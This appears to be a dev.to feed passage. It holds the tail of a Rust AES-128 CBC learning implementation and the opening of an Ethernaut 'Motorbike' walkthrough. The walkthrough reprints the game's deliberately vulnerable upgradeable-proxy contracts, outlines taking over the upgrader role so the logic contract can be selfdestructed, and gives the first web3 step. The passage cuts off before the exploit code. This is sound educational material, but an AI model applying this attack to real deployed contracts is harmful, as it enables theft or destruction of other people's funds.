&lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;aes_128_cbc_encrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key_str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;iv_str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Normalize message by pkcs7 padding&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;padded_message&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;pad_pkcs7&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;msg_bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;padded_message&lt;/span&gt;&lt;span class="nf"&gt;.as_bytes&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;iv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;iv_str&lt;/span&gt;&lt;span class="nf"&gt;.as_bytes&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="nf"&gt;.to_vec&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;GenericArray&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;clone_from_slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key_str&lt;/span&gt;&lt;span class="nf"&gt;.as_bytes&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;Aes128&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="n"&gt;encrypted_blocks&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Vec&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;Vec&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;u8&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;Vec&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="nf"&gt;.len&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="nf"&gt;.step_by&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;.for_each&lt;/span&gt;&lt;span class="p"&gt;(|&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// Take last encrypted block or IV for first block iteration&lt;/span&gt;
        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;encrypted_blocks&lt;/span&gt;&lt;span class="nf"&gt;.last&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="nf"&gt;.unwrap_or&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="c1"&gt;// XOR last encrypted block with current msg block &amp;amp; encrypt result&lt;/span&gt;
        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;xor_block&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;xor_bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;msg_bytes&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="n"&gt;block&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;GenericArray&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;clone_from_slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;xor_block&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="nf"&gt;.encrypt_block&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="n"&gt;block&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="n"&gt;encrypted_blocks&lt;/span&gt;&lt;span class="nf"&gt;.push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;block&lt;/span&gt;&lt;span class="nf"&gt;.into_iter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="py"&gt;.collect&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;Vec&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;u8&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;

    &lt;span class="nn"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encrypted_blocks&lt;/span&gt;&lt;span class="nf"&gt;.into_iter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="nf"&gt;.flatten&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="py"&gt;.collect&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;Vec&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;u8&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The decryption process is easy to follow too. Except, after being decrypted last byte is read to determine padding that was applied. And remove it to yield original message.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;aes_128_cbc_decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cipher_hex&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key_str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;iv_str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;encrypted_bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cipher_hex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;.unwrap&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;GenericArray&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;clone_from_slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key_str&lt;/span&gt;&lt;span class="nf"&gt;.as_bytes&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;iv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;iv_str&lt;/span&gt;&lt;span class="nf"&gt;.as_bytes&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;Aes128&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="n"&gt;decrypted_blocks&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Vec&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;Vec&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;u8&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;Vec&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="n"&gt;encrypted_bytes&lt;/span&gt;&lt;span class="nf"&gt;.len&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="nf"&gt;.step_by&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;.for_each&lt;/span&gt;&lt;span class="p"&gt;(|&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// Take last of encrypted block or IV in case of first block iteration&lt;/span&gt;
        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;iv&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;encrypted_bytes&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="p"&gt;};&lt;/span&gt;

        &lt;span class="c1"&gt;// Decrypt AES&lt;/span&gt;
        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="n"&gt;block&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;GenericArray&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;clone_from_slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;encrypted_bytes&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
        &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="nf"&gt;.decrypt_block&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="n"&gt;block&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;decrypted_block&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;block&lt;/span&gt;&lt;span class="nf"&gt;.into_iter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="py"&gt;.collect&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;Vec&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;u8&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

        &lt;span class="c1"&gt;// XOR decrypted block with last encrypted block to undo xor during encryption&lt;/span&gt;
        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;xor_block&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;xor_bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;decrypted_block&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;decrypted_blocks&lt;/span&gt;&lt;span class="nf"&gt;.push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;xor_block&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;

    &lt;span class="c1"&gt;// Get number of padding bytes applied during encryption &amp;amp; remove padding&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;padding_byte&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;decrypted_blocks&lt;/span&gt;&lt;span class="nf"&gt;.last&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="nf"&gt;.unwrap&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="nf"&gt;.last&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="nf"&gt;.unwrap&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nb"&gt;usize&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;decrypted_blocks&lt;/span&gt;
        &lt;span class="nf"&gt;.into_iter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="nf"&gt;.flatten&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="nf"&gt;.take&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encrypted_bytes&lt;/span&gt;&lt;span class="nf"&gt;.len&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;padding_byte&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;.map&lt;/span&gt;&lt;span class="p"&gt;(|&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nb"&gt;char&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="py"&gt;.collect&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This was a quick &amp;amp; simple implementation for learning purpose. Serious implementations would enforce additional checks like validation of padding applied. And way more efficient operation like parallel decryption of blocks.&lt;/p&gt;

&lt;p&gt;See code on &lt;a href="https://github.com/theNvN/cryptopals-crypto-challenges/blob/master/src/set_2_block_crypto/c10_implement_cbc_mode.rs"&gt;GitHub&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Find me on:&lt;/p&gt;

&lt;p&gt;Twitter - &lt;a href="https://twitter.com/heyNvN"&gt;@heyNvN&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://naveeen.com/"&gt;naveeen.com&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cryptography</category>
      <category>rust</category>
      <category>security</category>
      <category>encryption</category>
    </item>
    <item>
      <title>Ethernaut Hacks Level 25: Motorbike</title>
      <dc:creator>Naveen ⚡</dc:creator>
      <pubDate>Sun, 30 Jan 2022 11:07:30 +0000</pubDate>
      <link>https://dev.to/nvnx/ethernaut-hacks-level-25-motorbike-397g</link>
      <guid>https://dev.to/nvnx/ethernaut-hacks-level-25-motorbike-397g</guid>
      <description>&lt;p&gt;This is the level 25 of OpenZeppelin &lt;a href="https://ethernaut.openzeppelin.com/"&gt;Ethernaut&lt;/a&gt; web3/solidity based game.&lt;/p&gt;

&lt;h2&gt;
  
  
  Pre-requisites
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://eip2535diamonds.substack.com/p/understanding-delegatecall-and-how"&gt;delegatecall&lt;/a&gt; in Solidity&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://docs.soliditylang.org/en/v0.6.0/units-and-global-variables.html#contract-related"&gt;selfdestruct&lt;/a&gt; function in Solidity&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.openzeppelin.com/proxy-patterns/"&gt;Proxy Patterns&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://forum.openzeppelin.com/t/uups-proxies-tutorial-solidity-javascript/7786"&gt;UUPS Proxies&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.openzeppelin.com/contracts/4.x/api/proxy"&gt;OpenZeppelin Proxies&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/OpenZeppelin/openzeppelin-upgrades/blob/master/packages/core/contracts/Initializable.sol"&gt;Initializable&lt;/a&gt; contract&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Hack
&lt;/h2&gt;

&lt;p&gt;Given contracts:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
// SPDX-License-Identifier: MIT

pragma solidity &amp;lt;0.7.0;

import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/proxy/Initializable.sol";

contract Motorbike {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

    struct AddressSlot {
        address value;
    }

    // Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
    constructor(address _logic) public {
        require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
        _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
        (bool success,) = _logic.delegatecall(
            abi.encodeWithSignature("initialize()")
        );
        require(success, "Call failed");
    }

    // Delegates the current call to `implementation`.
    function _delegate(address implementation) internal virtual {
        // solhint-disable-next-line no-inline-assembly
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            switch result
            case 0 { revert(0, returndatasize()) }
            default { return(0, returndatasize()) }
        }
    }

    // Fallback function that delegates calls to the address returned by `_implementation()`. 
    // Will run if no other function in the contract matches the call data
    fallback () external payable virtual {
        _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
    }

    // Returns an `AddressSlot` with member `value` located at `slot`.
    function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
        assembly {
            r_slot := slot
        }
    }
}

contract Engine is Initializable {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

    address public upgrader;
    uint256 public horsePower;

    struct AddressSlot {
        address value;
    }

    function initialize() external initializer {
        horsePower = 1000;
        upgrader = msg.sender;
    }

    // Upgrade the implementation of the proxy to `newImplementation`
    // subsequently execute the function call
    function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
        _authorizeUpgrade();
        _upgradeToAndCall(newImplementation, data);
    }

    // Restrict to upgrader role
    function _authorizeUpgrade() internal view {
        require(msg.sender == upgrader, "Can't upgrade");
    }

    // Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
    function _upgradeToAndCall(
        address newImplementation,
        bytes memory data
    ) internal {
        // Initial upgrade and setup call
        _setImplementation(newImplementation);
        if (data.length &amp;gt; 0) {
            (bool success,) = newImplementation.delegatecall(data);
            require(success, "Call failed");
        }
    }

    // Stores a new address in the EIP1967 implementation slot.
    function _setImplementation(address newImplementation) private {
        require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");

        AddressSlot storage r;
        assembly {
            r_slot := _IMPLEMENTATION_SLOT
        }
        r.value = newImplementation;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;player&lt;/code&gt; has to make the proxy (&lt;code&gt;Motorbike&lt;/code&gt;) unusable by destroying the implementation/logic contract (&lt;code&gt;Engine&lt;/code&gt;) through &lt;code&gt;selfdestruct&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;As you can see current &lt;code&gt;Engine&lt;/code&gt; implementation has no &lt;code&gt;selfdestruct&lt;/code&gt; logic anywhere. So, we can't call &lt;code&gt;selfdestruct&lt;/code&gt; with current implementation anyway. But, since it is a logic/implementation contract of proxy pattern, it can be upgraded to a new contract that has the &lt;code&gt;selfdestruct&lt;/code&gt; in it.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;upgradeToAndCall&lt;/code&gt; method is at our disposal for upgrading to a new contract address, but it has an authorization check such that only the &lt;code&gt;upgrader&lt;/code&gt; address can call it. So, &lt;code&gt;player&lt;/code&gt; has to somehow take over as &lt;code&gt;upgrader&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The key thing to keep in mind here is that any storage variables defined in the logic contract i.e. &lt;code&gt;Engine&lt;/code&gt; is actually stored in the proxy's (&lt;code&gt;Motorbike&lt;/code&gt;'s) storage and not actually &lt;code&gt;Engine&lt;/code&gt;. Proxy is the storage layer here which delegates &lt;em&gt;only&lt;/em&gt; the logic to logic/implementation contract (logic layer). &lt;/p&gt;

&lt;p&gt;What if we did try to write and read in the context of &lt;code&gt;Engine&lt;/code&gt; directly, instead of going through proxy? We'll need address of &lt;code&gt;Engine&lt;/code&gt; first. This address is at storage slot &lt;code&gt;_IMPLEMENTATION_SLOT&lt;/code&gt; of &lt;code&gt;Motorbike&lt;/code&gt;. Let's read it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;implAddr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;web3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;eth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getStorageAt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;address&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;// Output: '0x000000000000000000000000&amp;lt;20-byte-implementation-contract-address&amp;gt;'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This yields a 32 byte value (each slot is 32 byte). Remove padding of &lt;code&gt;0&lt;/code&gt;s to get 20 byte &lt;code&gt;address&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
